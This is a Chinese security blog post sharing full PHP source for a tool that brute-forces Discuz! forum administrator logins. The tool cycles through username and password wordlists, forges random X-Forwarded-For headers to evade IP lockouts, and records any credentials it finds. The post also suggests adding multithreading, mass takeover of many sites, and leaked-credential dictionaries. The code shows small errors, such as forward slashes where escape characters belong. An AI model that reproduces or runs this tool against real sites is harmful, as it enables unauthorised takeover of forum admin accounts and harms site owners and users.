学员渗透录二十八_Discuz!后台密码穷举工具

暗月博客 2019年11月21日21:09:19评论412 views字数 3605阅读12分1秒阅读模式
摘要

学员渗透录 二十八_Discuz!后台密码穷举工具 作者: 风炫   编辑:暗月

学员渗透录二十八_Discuz!后台密码穷举工具

作者: 风炫  编辑:暗月

学渗透找暗月,学代码审计找暗月

这次是学员风炫发来的工具!

0x01:简介

Crossday Discuz! Board(简称 Discuz!)是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。自2001年6月面世以来,Discuz!已拥有13年以上的应用历史和200多万网站用户案例,是全球成熟度最高、覆盖率最大的论坛软件系统之一。目前最新版本Discuz! X3.2正式版于2014年6月4日发布,首次引入应用中心的开发模式。2010年8月23日,康盛创想与腾讯达成收购协议,成为腾讯的全资子公司。
Crossday Discuz! Board(以下简称 Discuz!,中国国家版权局著作权登记号 2006SR11895)是康盛创想(北京)科技有限公司(英文简称Comsenz)推出的一套通用的社区论坛软件系统,用户可以在不需要任何编程的基础上,通过简单的设置和安装,在互联网上搭建起具备完善功能、很强负载能力和可高度定制的论坛服务。Discuz! 的基础架构采用世界上最流行的web编程组合PHP+MySQL实现,是一个经过完善设计,适用于各种服务器环境的高效论坛系统解决方案。
作为国内最大的社区软件及服务提供商,Comsenz旗下的 Discuz! 开发组具有丰富的 web应用程序设计经验,尤其在论坛产品及相关领域,经过长期创新性开发,掌握了一整套从算法,数据结构到产品安全性方面的领先技术。使得 Discuz! 无论在稳定性、负载能力、安全保障等方面都居于国内外同类产品领先地位。

0x02:成因

DZ论坛IP一直都是可以伪造的,以前暗月在公开课的时候发过一些技术细节,不懂的可以搜索本博客的视频,

DZ官方,直到最新的版本还没有修复这个问题,所以还可以绕过某些论坛限制。

0x03:工具

<?php /**  Author : fengxuan  Date : 2014-11-25  */  class FuckDiscuz{  public $userfile;  public $passfile;  public $outfile;  public $url;    public function __construct($argv,$argc){   $this->init($argv,$argc);   $this->crack();  }        private function init($argv,$argc){   if(!isset($argv) ||  $argc != 7 || $argv[1]!='-v' || $argv[2]!='-o' )  $this->show();   $this->userfile = $argv[count($argv)-2];   $this->passfile = $argv[count($argv)-1];   $this->outfile  = $argv[3];   $this->url = $argv[count($argv)-3];  }       private function sock_post($url,$query){   $info = parse_url($url);   $fp = fsockopen($info['host'],80,$error,$errstr,30);   $head = "POST  ".$info['path']." HTTP/1.0/r/n";   $head .= "HOST: ".$info['host']."/r/n";   $head .= "X-Forwarded-For:  ".$this->X_Forwarded_for()."/r/n";   $head .="Content-type: application/x-www-form-urlencoded/r/n";   $head .= "Content-Length: ".strlen(trim($query))."/r/n";   $head .= "/r/n";   $head .= trim($query);   $write = fputs($fp, $head);   while (!feof($fp)){    $line = fgets($fp);    if(preg_match('/HTTP//1.1 302/i', $line)){         $temp =  explode('&', $query);         $temp[0] = substr(strstr($temp[0], '='), 1);         $temp[1] = substr(strstr($temp[1], '='), 1);     echo "/r/n/r/nCongratulations! /r/nThe username is /r/n".$temp[0]."  and password is /r/n".$temp[1]."/r/n";     $this->savefile($this->outfile, $temp[0] , $temp[1] );         }    //echo $line."<br>";   }  }    private function X_Forwarded_for(){   $xip = rand(1, 255).".".rand(0, 255).".".rand(0, 255).".".rand(1, 254);   if (preg_match('#^(10|172/.16|192/.168)/.#', $xip)) {    continue;        }   return $xip;  }    private function savefile($file,$user,$pass){   $fp = fopen($file, 'w+');   $string = "username  ".$user."  password  ".$pass."/r/n";   fwrite($fp, $string);   fclose($fp);  }    private function crack(){   $userfile = file($this->userfile);   $passfile = file($this->passfile);     $userarr = array();   $passarr = array();   foreach ($userfile as $user=>$value){    $userarr[$user] = $value;    foreach ($passfile as $pass=>$value){     $passarr[$pass] = $value;     $data = array(       'admin_username'=>$userarr[$user],       'admin_password'=>$passarr[$pass],       'submit'=>'提交'     );     print "Try crack with: /t".$userarr[$user]." and  /t".$passarr[$pass]."   /r/n";     $data = str_replace('%0D%0A', '',http_build_query($data));     $this->sock_post($this->url, $data);    }   }  }    private function show(){     $string = <<<eof ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +----------Writed by 风炫 Date:2014/11/25------------------+ +-------如果有能力,即使黑了全世界又如何?------------------+ +If there are any problems,please contact:[email protected]+ +-----we from moon security team blog:www.moonsec.com------+ +----------------只供测试所用,请勿用于非法用途-------------+ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ usage: fuckdz.php  <commands>  <url> <userfile> <passfile>     <commands>     -v : According to cracking process -o  : The  output file to save eg: php.exe fuckdz.php -v -o result.txt http://www.xxx.com/admin.php user.txt pass.txt     eof;    print $string;   exit();  } }  new FuckDiscuz($argv,$argc);  ?>

0x04:效果图

图一:

学员渗透录二十八_Discuz!后台密码穷举工具

图二:

学员渗透录二十八_Discuz!后台密码穷举工具

图三:

学员渗透录二十八_Discuz!后台密码穷举工具

图四:

学员渗透录二十八_Discuz!后台密码穷举工具

0x05:扩展

既然源码已经开放:加点思路

1)增加多线程库,加快穷举速度。

2)增加批量功能,批量获取后台权限。

3)调用社工库,同时加上社工字典生成,提高成功率。

0x06:工具打包

本地下载 解压码:www.moonsec.com

fuzkdz(www.moonsec.com).zip

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日21:09:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   学员渗透录二十八_Discuz!后台密码穷举工具http://cn-sec.com/archives/71987.html

发表评论

匿名网友 填写信息